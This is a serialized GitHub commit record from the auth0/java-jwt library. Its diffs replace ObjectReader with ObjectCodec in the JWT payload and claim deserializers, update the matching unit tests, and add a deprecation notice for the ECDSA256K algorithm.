@@ -160,21 +160,23 @@ public String toString() {
      *
      * @param claimName the Claim to search for.
      * @param tree      the JsonNode tree to search the Claim in.
+     * @param objectCodec the object codec in use for deserialization
      * @return a valid non-null Claim.
      */
-    static Claim extractClaim(String claimName, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    static Claim extractClaim(String claimName, Map<String, JsonNode> tree, ObjectCodec objectCodec) {
         JsonNode node = tree.get(claimName);
-        return claimFromNode(node, objectReader);
+        return claimFromNode(node, objectCodec);
     }
 
     /**
      * Helper method to create a Claim representation from the given JsonNode.
      *
      * @param node the JsonNode to convert into a Claim.
+     * @param objectCodec the object codec in use for deserialization
      * @return a valid Claim instance. If the node is null or missing, a NullClaim will be returned.
      */
-    static Claim claimFromNode(JsonNode node, ObjectReader objectReader) {
-        return new JsonNodeClaim(node, objectReader);
+    static Claim claimFromNode(JsonNode node, ObjectCodec objectCodec) {
+        return new JsonNodeClaim(node, objectCodec);
     }
 
 }
\ No newline at end of fileu}(j  (65fba3ac4fe09ebe2a9b08db432e47092d1014e2j7  =lib/src/main/java/com/auth0/jwt/impl/PayloadDeserializer.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializer.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X
  @@ -5,6 +5,7 @@
 import com.auth0.jwt.interfaces.Payload;
 import com.fasterxml.jackson.core.JsonParser;
 import com.fasterxml.jackson.core.JsonProcessingException;
+import com.fasterxml.jackson.core.ObjectCodec;
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.DeserializationContext;
 import com.fasterxml.jackson.databind.JsonNode;
@@ -24,16 +25,8 @@
  */
 class PayloadDeserializer extends StdDeserializer<Payload> {
 
-    private final ObjectReader objectReader;
-
-    PayloadDeserializer(ObjectReader reader) {
-        this(null, reader);
-    }
-
-    private PayloadDeserializer(Class<?> vc, ObjectReader reader) {
-        super(vc);
-
-        this.objectReader = reader;
+    PayloadDeserializer() {
+        super(Payload.class);
     }
 
     @Override
@@ -46,16 +39,17 @@ public Payload deserialize(JsonParser p, DeserializationContext ctxt) throws IOE
 
         String issuer = getString(tree, RegisteredClaims.ISSUER);
         String subject = getString(tree, RegisteredClaims.SUBJECT);
-        List<String> audience = getStringOrArray(tree, RegisteredClaims.AUDIENCE);
+        List<String> audience = getStringOrArray(p.getCodec(), tree, RegisteredClaims.AUDIENCE);
         Instant expiresAt = getInstantFromSeconds(tree, RegisteredClaims.EXPIRES_AT);
         Instant notBefore = getInstantFromSeconds(tree, RegisteredClaims.NOT_BEFORE);
         Instant issuedAt = getInstantFromSeconds(tree, RegisteredClaims.ISSUED_AT);
         String jwtId = getString(tree, RegisteredClaims.JWT_ID);
 
-        return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, objectReader);
+        return new PayloadImpl(issuer, subject, audience, expiresAt, notBefore, issuedAt, jwtId, tree, p.getCodec());
     }
 
-    List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) throws JWTDecodeException {
+    List<String> getStringOrArray(ObjectCodec codec, Map<String, JsonNode> tree, String claimName)
+            throws JWTDecodeException {
         JsonNode node = tree.get(claimName);
         if (node == null || node.isNull() || !(node.isArray() || node.isTextual())) {
             return null;
@@ -67,7 +61,7 @@ List<String> getStringOrArray(Map<String, JsonNode> tree, String claimName) thro
         List<String> list = new ArrayList<>(node.size());
         for (int i = 0; i < node.size(); i++) {
             try {
-                list.add(objectReader.treeToValue(node.get(i), String.class));
+                list.add(codec.treeToValue(node.get(i), String.class));
             } catch (JsonProcessingException e) {
                 throw new JWTDecodeException("Couldn't map the Claim's array contents to String", e);
             }u}(j  (bfd9b0eaa8535f448c8642d819cba5547679b713j7  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X  @@ -2,12 +2,16 @@
 
 import com.auth0.jwt.interfaces.Claim;
 import com.auth0.jwt.interfaces.Payload;
+import com.fasterxml.jackson.core.ObjectCodec;
 import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
 import java.time.Instant;
-import java.util.*;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
 
@@ -30,7 +34,7 @@ class PayloadImpl implements Payload, Serializable {
     private final Instant issuedAt;
     private final String jwtId;
     private final Map<String, JsonNode> tree;
-    private final ObjectReader objectReader;
+    private final ObjectCodec objectCodec;
 
     PayloadImpl(
             String issuer,
@@ -41,7 +45,7 @@ class PayloadImpl implements Payload, Serializable {
             Instant issuedAt,
             String jwtId,
             Map<String, JsonNode> tree,
-            ObjectReader objectReader
+            ObjectCodec objectCodec
     ) {
         this.issuer = issuer;
         this.subject = subject;
@@ -50,8 +54,8 @@ class PayloadImpl implements Payload, Serializable {
         this.notBefore = notBefore;
         this.issuedAt = issuedAt;
         this.jwtId = jwtId;
-        this.tree = tree != null ? Collections.unmodifiableMap(tree) : Collections.<String, JsonNode>emptyMap();
-        this.objectReader = objectReader;
+        this.tree = tree != null ? Collections.unmodifiableMap(tree) : Collections.emptyMap();
+        this.objectCodec = objectCodec;
     }
 
     Map<String, JsonNode> getTree() {
@@ -111,14 +115,14 @@ public String getId() {
 
     @Override
     public Claim getClaim(String name) {
-        return extractClaim(name, tree, objectReader);
+        return extractClaim(name, tree, objectCodec);
     }
 
     @Override
     public Map<String, Claim> getClaims() {
         Map<String, Claim> claims = new HashMap<>(tree.size() * 2);
         for (String name : tree.keySet()) {
-            claims.put(name, extractClaim(name, tree, objectReader));
+            claims.put(name, extractClaim(name, tree, objectCodec));
         }
         return Collections.unmodifiableMap(claims);
     }u}(j  (02d782a77b4ace3cc8bc8655f32728a431f34c3cj7  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javaj9  modifiedj1  Kj2  Kj;  K
j<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X  @@ -10,7 +10,6 @@
 import com.fasterxml.jackson.databind.JsonDeserializer;
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.NullNode;
 import com.fasterxml.jackson.databind.node.TextNode;
 import org.junit.Before;
@@ -22,8 +21,10 @@
 import java.util.HashMap;
 import java.util.Map;
 
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.is;
+import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;
@@ -34,19 +35,18 @@ public class HeaderDeserializerTest {
     @Rule
     public ExpectedException exception = ExpectedException.none();
     private HeaderDeserializer deserializer;
-    private ObjectReader objectReader = new ObjectMapper().reader();
 
     @Before
     public void setUp() {
-        deserializer = new HeaderDeserializer(objectReader);
+        deserializer = new HeaderDeserializer();
     }
 
     @Test
     public void shouldThrowOnNullTree() throws Exception {
         exception.expect(JWTDecodeException.class);
         exception.expectMessage("Parsing the Header's JSON resulted on a Null map");
 
-        JsonDeserializer deserializer = new HeaderDeserializer(objectReader);
+        JsonDeserializer deserializer = new HeaderDeserializer();
         JsonParser parser = mock(JsonParser.class);
         ObjectCodec codec = mock(ObjectCodec.class);
         DeserializationContext context = mock(DeserializationContext.class);u}(j  (da62131a3ef5b850d4575046c8a0311292ef4399j7  7lib/src/test/java/com/auth0/jwt/impl/JWTParserTest.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJWTParserTest.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X?  @@ -42,7 +42,7 @@ public void shouldGetDefaultObjectMapper() {
     @Test
     public void shouldAddDeserializers() {
         ObjectMapper mapper = mock(ObjectMapper.class);
-        new JWTParser(mapper);
+        JWTParser.addDeserializers(mapper);
         verify(mapper).registerModule(any(Module.class));
     }
 u}(j  (a0364953a2562f4d65dca642db4664e9de331913j7  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj9  modifiedj1  Kj2  Kj;  Kj<  5     https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X	  @@ -7,7 +7,6 @@
 import com.fasterxml.jackson.core.type.TypeReference;
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.ObjectReader;
 import com.fasterxml.jackson.databind.node.JsonNodeType;
 import com.fasterxml.jackson.databind.node.MissingNode;
 import com.fasterxml.jackson.databind.node.NullNode;
@@ -21,28 +20,38 @@
 
 import java.io.IOException;
 import java.time.Instant;
-import java.util.*;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.hamcrest.Matchers.*;
+import static org.hamcrest.Matchers.arrayContaining;
+import static org.hamcrest.Matchers.hasEntry;
+import static org.hamcrest.Matchers.hasItems;
+import static org.hamcrest.Matchers.hasKey;
+import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.is;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
 import static org.junit.Assert.assertNull;
-import static org.mockito.Mockito.*;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.when;
 
 public class JsonNodeClaimTest {
 
     private ObjectMapper mapper;
-    private ObjectReader objectReader;
 
     @Rule
     public ExpectedException exception = ExpectedException.none();
 
     @Before
     public void setUp() {
         mapper = getDefaultObjectMapper();
-        objectReader = mapper.reader();
     }
 
     @Test
@@ -55,7 +64,7 @@ public void shouldGetBooleanValue() {
     }
 
     private Claim claimFromNode(JsonNode value) {
-        return JsonNodeClaim.claimFromNode(value, objectReader);
+        return JsonNodeClaim.claimFromNode(value, mapper);
     }
 
     @Test
@@ -282,7 +291,7 @@ public void shouldThrowIfAnExtraordinaryExceptionHappensWhenParsingAsGenericMap(
         JsonNode value = mock(ObjectNode.class);
         when(value.getNodeType()).thenReturn(JsonNodeType.OBJECT);
 
-        ObjectReader mockedMapper = mock(ObjectReader.class);
+        ObjectMapper mockedMapper = mock(ObjectMapper.class);
 
         JsonNodeClaim claim = (JsonNodeClaim) JsonNodeClaim.claimFromNode(value, mockedMapper);
         JsonNodeClaim spiedClaim = spy(claim);u}(j  (86c4f10f15dda50dc9504505bd42e217e3d3b8c7j7  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  X
  @@ -35,9 +35,12 @@ public class PayloadDeserializerTest {
     public ExpectedException exception = ExpectedException.none();
     private PayloadDeserializer deserializer;
 
+    private ObjectMapper objectMapper;
+
     @Before
     public void setUp() {
-        deserializer = new PayloadDeserializer(new ObjectMapper().reader());
+        objectMapper = new ObjectMapper();
+        deserializer = new PayloadDeserializer();
     }
 
     @Test
@@ -68,7 +71,7 @@ public void shouldThrowWhenParsingArrayWithObjectValue() throws Exception {
         ArrayNode arrNode = new ArrayNode(JsonNodeFactory.instance, subNodes);
         tree.put("key", arrNode);
 
-        deserializer.getStringOrArray(tree, "key");
+        deserializer.getStringOrArray(objectMapper, tree, "key");
     }
 
     @Test
@@ -123,7 +126,7 @@ public void shouldGetStringArrayWhenParsingArrayNode() {
         ArrayNode arrNode = new ArrayNode(JsonNodeFactory.instance, subNodes);
         tree.put("key", arrNode);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(2)));
         assertThat(values, is(IsIterableContaining.hasItems("one", "two")));
@@ -135,7 +138,7 @@ public void shouldGetStringArrayWhenParsingTextNode() {
         TextNode textNode = new TextNode("something");
         tree.put("key", textNode);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsCollectionWithSize.hasSize(1)));
         assertThat(values, is(IsIterableContaining.hasItems("something")));
@@ -147,7 +150,7 @@ public void shouldGetEmptyStringArrayWhenParsingEmptyTextNode() {
         TextNode textNode = new TextNode("");
         tree.put("key", textNode);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(notNullValue()));
         assertThat(values, is(IsEmptyCollection.empty()));
     }
@@ -158,7 +161,7 @@ public void shouldGetNullArrayWhenParsingNullNode() {
         NullNode node = NullNode.getInstance();
         tree.put("key", node);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(nullValue()));
     }
 
@@ -167,7 +170,7 @@ public void shouldGetNullArrayWhenParsingNullNodeValue() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("key", null);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(nullValue()));
     }
 
@@ -177,7 +180,7 @@ public void shouldGetNullArrayWhenParsingNonArrayOrTextNode() {
         IntNode node = new IntNode(456789);
         tree.put("key", node);
 
-        List<String> values = deserializer.getStringOrArray(tree, "key");
+        List<String> values = deserializer.getStringOrArray(objectMapper, tree, "key");
         assertThat(values, is(nullValue()));
     }
 u}(j  (5ad7ac682d81b29262a5c6964cda390275f96691j7  9lib/src/test/java/com/auth0/jwt/impl/PayloadImplTest.javaj9  modifiedj1  Kj2  Kj;  Kj<  https://github.com/auth0/java-jwt/blob/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj>  https://github.com/auth0/java-jwt/raw/902431804ee68a0e4727f41397cd56608918ba37/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.javaj@  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImplTest.java?ref=902431804ee68a0e4727f41397cd56608918ba37jB  XS  @@ -29,29 +29,28 @@ public class PayloadImplTest {
     private final Instant notBefore = Instant.now();
     private final Instant issuedAt = Instant.now();
 
-    private ObjectReader objectReader;
+    private ObjectMapper objectMapper;
 
     @Before
     public void setUp() {
-        ObjectMapper mapper = getDefaultObjectMapper();
-        objectReader = mapper.reader();
+        objectMapper = getDefaultObjectMapper();
 
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
-        payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectReader);
+        payload = new PayloadImpl("issuer", "subject", Collections.singletonList("audience"), expiresAt, notBefore, issuedAt, "jwtId", tree, objectMapper);
     }
 
     @Test
     public void shouldHaveUnmodifiableTree() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, new HashMap<>(), objectMapper);
         payload.getTree().put("something", null);
     }
 
     @Test
     public void shouldHaveUnmodifiableAudience() {
         exception.expect(UnsupportedOperationException.class);
-        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, new ArrayList<>(), null, null, null, null, null, objectMapper);
         payload.getAudience().add("something");
     }
 
@@ -63,7 +62,7 @@ public void shouldGetIssuer() {
 
     @Test
     public void shouldGetNullIssuerIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuer(), is(nullValue()));
     }
@@ -76,7 +75,7 @@ public void shouldGetSubject() {
 
     @Test
     public void shouldGetNullSubjectIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getSubject(), is(nullValue()));
     }
@@ -91,7 +90,7 @@ public void shouldGetAudience() {
 
     @Test
     public void shouldGetNullAudienceIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getAudience(), is(nullValue()));
     }
@@ -105,7 +104,7 @@ public void shouldGetExpiresAt() {
 
     @Test
     public void shouldGetNullExpiresAtIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getExpiresAt(), is(nullValue()));
         assertThat(payload.getExpiresAtAsInstant(), is(nullValue()));
@@ -120,7 +119,7 @@ public void shouldGetNotBefore() {
 
     @Test
     public void shouldGetNullNotBeforeIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getNotBefore(), is(nullValue()));
         assertThat(payload.getNotBeforeAsInstant(), is(nullValue()));
@@ -135,7 +134,7 @@ public void shouldGetIssuedAt() {
 
     @Test
     public void shouldGetNullIssuedAtIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getIssuedAt(), is(nullValue()));
         assertThat(payload.getIssuedAtAsInstant(), is(nullValue()));
@@ -149,7 +148,7 @@ public void shouldGetJWTId() {
 
     @Test
     public void shouldGetNullJWTIdIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getId(), is(nullValue()));
     }
@@ -163,7 +162,7 @@ public void shouldGetExtraClaim() {
 
     @Test
     public void shouldGetNotNullExtraClaimIfMissing() {
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, null, objectMapper);
         assertThat(payload, is(notNullValue()));
         assertThat(payload.getClaim("missing"), is(notNullValue()));
         assertThat(payload.getClaim("missing").isMissing(), is(true));
@@ -175,7 +174,7 @@ public void shouldGetClaims() {
         Map<String, JsonNode> tree = new HashMap<>();
         tree.put("extraClaim", new TextNode("extraValue"));
         tree.put("sub", new TextNode("auth0"));
-        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, tree, objectReader);
+        PayloadImpl payload = new PayloadImpl(null, null, null, null, null, null, null, tree, objectMapper);
         assertThat(payload, is(notNullValue()));
         Map<String, Claim> claims = payload.getClaims();
         assertThat(claims, is(notNullValue()));ueu(9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22}(sha(9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22node_idEC_kwDOAQtL0doAKDlmOGI4YmY4NGQ0MjQ4ZGRmOGU4ZDg5YWIzMmNhNzE5YzgxNWZkMjIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-14T14:21:27Zu	committer}(j  GitHubj  noreply@github.comj  2022-03-14T14:21:27ZumessageDMerge branch 'master' into remove-single-key-constructor-deprecationtree}(j  (f8e6bf7903ee6bbe8a1bc8250c8b05b61cc2728burl^https://api.github.com/repos/auth0/java-jwt/git/trees/f8e6bf7903ee6bbe8a1bc8250c8b05b61cc2728buj  `https://api.github.com/repos/auth0/java-jwt/git/commits/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiL09nCRBK7hj4Ov3rIwAAPw0IAJ9oHnsHA5YCDTfMZ+jjjcg1
9e5VFfRWJePv5yToIuKT6FPwPP2KszjBULv50WcY908rsxzqN8iwRrzpYabaCQvX
C56dLWtxmMVon0abOZGIlyiNMBfo6wACm6qFlBvnc7fyc+kLP17IBADWTUddyNx9
HUWfFsRs9zbt41gwA5i3k324Rxuwwx/W9pTjCYGQWGAfVTJYkVR+/qI1SbuNXfx3
nUheL3q5eJH3wvsR91vH+iH4tqwDD0mSD1gWk/qCjFUwbILj1CSEZhjevqjhTapt
GcCSgxpAAKDTvFmma3kZzJ8zEHfnmLqwH5foxCNwuJRzwT0wYeUh3JCF7jNeRo8=
=uV6q
-----END PGP SIGNATURE-----
payloadXF  tree f8e6bf7903ee6bbe8a1bc8250c8b05b61cc2728b
parent 7a520bc4dfb78f75d4ee246ff565937c79408eec
parent 212a3cdc3c5a474e88af0dc8445bc78fb0f662a7
author Poovamraj T T <poovamraj@gmail.com> 1647267687 +0530
committer GitHub <noreply@github.com> 1647267687 +0530

Merge branch 'master' into remove-single-key-constructor-deprecationuuj  \https://api.github.com/repos/auth0/java-jwt/commits/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22html_urlQhttps://github.com/auth0/java-jwt/commit/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (7a520bc4dfb78f75d4ee246ff565937c79408eecj  \https://api.github.com/repos/auth0/java-jwt/commits/7a520bc4dfb78f75d4ee246ff565937c79408eecj  Qhttps://github.com/auth0/java-jwt/commit/7a520bc4dfb78f75d4ee246ff565937c79408eecu}(j  (212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j  \https://api.github.com/repos/auth0/java-jwt/commits/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7j  Qhttps://github.com/auth0/java-jwt/commit/212a3cdc3c5a474e88af0dc8445bc78fb0f662a7uestats}(totalK	additionsK	deletionsK ufiles]}(j  (091f58d7f20beff1e2b15da73f4c432b085ef1edfilename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  Kj
  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=9f8b8bf84d4248ddf8e8d89ab32ca719c815fd22patchX  @@ -177,7 +177,11 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
+    @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
         return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
     }
@@ -189,7 +193,11 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
      * @throws IllegalArgumentException if the provided Key is null.
